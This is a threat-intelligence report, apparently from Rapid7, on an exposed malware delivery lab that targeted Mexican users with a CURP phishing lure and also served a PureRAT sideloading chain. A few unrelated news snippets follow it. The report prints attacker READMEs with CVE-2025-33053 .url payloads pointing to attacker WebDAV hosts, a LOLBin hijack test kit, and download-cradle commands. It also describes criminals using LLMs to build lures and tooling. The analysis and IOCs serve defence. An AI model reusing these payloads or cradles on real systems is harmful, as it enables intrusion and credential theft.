Mon, 20 Jul 2026 15:53:12 +0200

Executive summary

An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.

Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.

This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.

Introduction: From MDR alert to attacker infrastructure

The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.

That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.

At a high level, the 1,048 files clustered as follows:

Category	Files	Functions and discoveries
LNK delivery launchers	453	Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths
Filename-spoofing QA	236	Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior
URL/LOLBin execution tests	146	Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution
Encrypted droppers	89	Staged second-stage payloads and installer-style packages
Alternative execution containers	24	search-ms, library-ms, .cpl, and related delivery containers
Payload stubs and spoofed executables	21	Smaller loaders, decoys, and renamed binaries
WebDAV scripts	17	Scripts intended to make WebDAV delivery more reliable on Windows systems
Builder and operator notes	10	README files, test reports, mappings, and generation scripts
ClickFix HTML lures	9	Browser-based social-engineering pages instructing users to run commands
Miscellaneous files	6	Included documentation for the actor’s WebDAV delivery/admin panel

Table 1: Breakdown of files recovered from the attacker’s delivery workspace

Technical analysis and observed attacker behavior

Attackers testing like a product team

The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.

The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.

Figure 1: Snippet of one of many subfolders containing testing files.

⠀

Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.

CVE	Observed samples	Short description
CVE-2025-33053	11	Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (nvd.nist.gov)
CVE-2026-21513	4	MSHTML Framework security feature bypass caused by protection-mechanism failure. (nvd.nist.gov)
CVE-2025-24054	1	Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved .library-ms files. (nvd.nist.gov)

Table 2: CVE references observed in the exposed directory.

The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.

The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.

CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.
⠀

The testing approach was methodical and included the below:

Transports: WebDAV over @80 and @ssl@443

Path formats: DavWWWRoot vs. plain UNC

Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent

Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://…

Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows

Explorer containers: search-ms: queries and .library-ms files exposing remote payloads

ClickFix pages: relying on user copy/paste execution

Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr

The lure factory

The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.

Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.

The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.

The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.

The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.

The payload chains

The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.

We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.

Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity.

This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.

Case study 1: CURP campaign targeting Mexico

Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.

Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.

⠀

The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:

search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP

⠀
It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.

The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.

Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.

⠀

Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.

Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.

⠀

The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:

Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.
Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.
Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.

The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.

Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.

The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes.

Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.

Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.

Case study 2: The "DlrtyGames" sideloading chain

While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.

The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.

Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.

⠀

Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.

The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.

The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest.

The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.

The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.

GenAI adoption

Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content.

═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         <- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   <- WebDAV (triggers WebClient!)
  ShowCommand=7                     <- start minimized (hide alert windows)
  IconIndex=13                      <- (decoy icon)
  IconFile=msedge.exe               <- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -> HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -> doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              <- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    <- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           <- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.

Figure 7: Context of README.md found in the exposed directory.

The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:

Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.

⠀
It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.

Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.

Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.

⠀

Figure 10: Simba service system requirements.

⠀

The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.

The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.

# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup....lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **``** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **``** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **``** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
> Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...

Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.

OPSEC is hard

As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”

Figure 12: Simba service presentation.

⠀

The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.

The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.

Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.

We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.

Delivery panel overview

The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.

Figure 13: Simba service page with blocking capabilities.

⠀

The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).

We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.

The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.

Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.

The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.

Country	Requests	Share of requests	Unique client IPs	Launch events
Mexico	63,622	82.5%	2,698	2,365
United States	4,032	5.2%	463	47
Germany	2,751	3.6%	59	1
United Kingdom	645	0.8%	40	0
Netherlands	532	0.7%	49	1
France	407	0.5%	21	0
Finland	401	0.5%	6	10
Brazil	343	0.4%	41	0
Republic of Korea	312	0.4%	16	1

Table 3: Geographic distribution of WebDAV delivery activity.

Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.

Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.

By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.

Protocol behavior

The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.

Method	Count
PROPFIND	57,287
GET	13,088
OPTIONS	6,597
PROPPATCH	125
LOCK	1

Table 4: HTTP methods observed in WebDAV delivery traffic.

Status	Count
207	57,412
200	19,532
206	154

Table 5: HTTP status codes observed in WebDAV delivery traffic.

MITRE ATT&CK techniques

Name	MITRE ATT&CK technique	Code
Payload execution	User Execution: Malicious File	T1204.002
Masquerading	Right-to-Left Override	T1036.002
Masquerading	Double File Extension	T1036.007
DLL sideloading	Hijack Execution Flow: DLL	T1574.001
Obfuscation	Encrypted/Encoded File	T1027.013
Payload unpacking	Deobfuscate/Decode Files or Information	T1140
Payload carrier	Steganography / image-carried payload data	T1027.003
API hiding	Dynamic API Resolution	T1027.007
In-memory loading	Reflective Code Loading	T1620
Injection	Process Hollowing	T1055.012
Native API use	Native API	T1106
Sandbox evasion	Time Based Evasion	T1497.003
Anti-analysis	Debugger / instrumentation checks	T1622
UAC bypass	Bypass User Account Control	T1548.002
Persistence	Registry Run Keys / Startup Folder	T1547.001
Persistence	Scheduled Task	T1053.005
Collection	Keylogging	T1056.001
Collection	Screen Capture	T1113
Collection	Clipboard Data	T1115
Credential access	Credentials from Web Browsers	T1555.003
Credential access	Steal Web Session Cookie	T1539
Collection	Data from Local System	T1005
Collection	Automated Collection	T1119
Staging	Archive Collected Data: Archive via Utility	T1560.001
C2	Encrypted Channel	T1573
Exfiltration	Exfiltration Over C2 Channel	T1041
Possible persistence	WMI Event Subscription	T1546.003
Phishing lure generation	Generate Phishing Lures	AML.T0052
Resource Development	Resource Development	AML.TA0003
Obtain capabilities via LLM tooling	Obtain Capabilities	AML.T0016
LLM-assisted capability development	Develop Capabilities	AML.T0017
LLM prompt crafting for attack documentation	LLM Prompt Crafting	AML.T0065
Obtain capabilities via tooling	Obtain Capabilities: Software Tools	AML.T0016.001

Indicators of compromise (IOCs)

CURP campaign

Phishing page: hxxps://gobf[.]mx

WebDav server: onedrive[.]cv

ReportFinal..scr SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7

C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888

Domain: google.services[.]ug

Campaign tag:06x12x2026SantaEbash2 (v4.4.3)

Schedule tasks: brokerhost, net_queue_32

Staging paths:

%TEMP%\is-XXXXX.tmp\Fo-Binary.exe

%AppData%\Roaming\inttracer_i686_prod\

C:\ProgramData\inttracer_i686_prod\

DlrtyGames campaign

C2: 23[.]94[.]252[.]228:57666

JA3: fc54e0d16d9764783542f0146a98b300

DlrtyGames.exe

SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268

discord-rpc.x64.dll

SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df

profiler16.dll

SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9

loader-pool.db

SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b

.NET RAT

SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923

Staging paths:

C:\ProgramData\basenet\

%APPDATA%\basenet\

Persistence:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW

\com_app_bg_i686

\messenger_component_v8_32_rc

More indicators of compromise can be found on Rapid7’s GitHub.

Rapid7 customers

Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.

Conclusion

The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.

The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded.

While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.

The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.

Apple could ‘run the table’ on AI if it does things right

Mon, 20 Jul 2026 15:33:26 +0200

Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.

Deeply deployable

What’s wrong with good enough?

“It’s going to be wild when people have unlimited tokens on their desks,” said Calacanis in a podcast round table discussion.

Who has the most to lose?

Cupertino rising

You can follow me on social media! Join me on BlueSky, LinkedIn, Mastodon and subscribe to my daily Apple-related news summaries at The Core.

Patchen: Juli-Analyse zu schwerwiegenden Schwachstellen - B2B Cyber Security

Mon, 20 Jul 2026 14:48:21 +0200

CVE-2026-56164 – Microsoft SharePoint Server EoP, CVSS 5.3 — Aktiv in the wild ausgenutzt. Trotz niedrigem CVSS-Score: fehlende ...

One Malicious Web Request Can Turn an Exposed SharePoint Server Into a Persistent Backdoor

Mon, 20 Jul 2026 13:39:22 +0200

A newly disclosed cluster of Microsoft SharePoint Server vulnerabilities is actively being exploited in the wild, allowing attackers to convert a single crafted web request into full remote code execution and long-term persistence across enterprise environments. Security updates released in…

The post One Malicious Web Request Can Turn an Exposed SharePoint Server Into a Persistent Backdoor appeared first on IT Security News.

Q&A: Why boutique consultancies might be better for AI rollouts than the bigwigs

Mon, 20 Jul 2026 13:33:13 +0200

Major AI labs are unleashing forward-deployed engineers (FDEs) to try and grab enterprise customers. Large consultancies are dishing out tokens and assembling armies of consultants — both human and agent — to do the same.

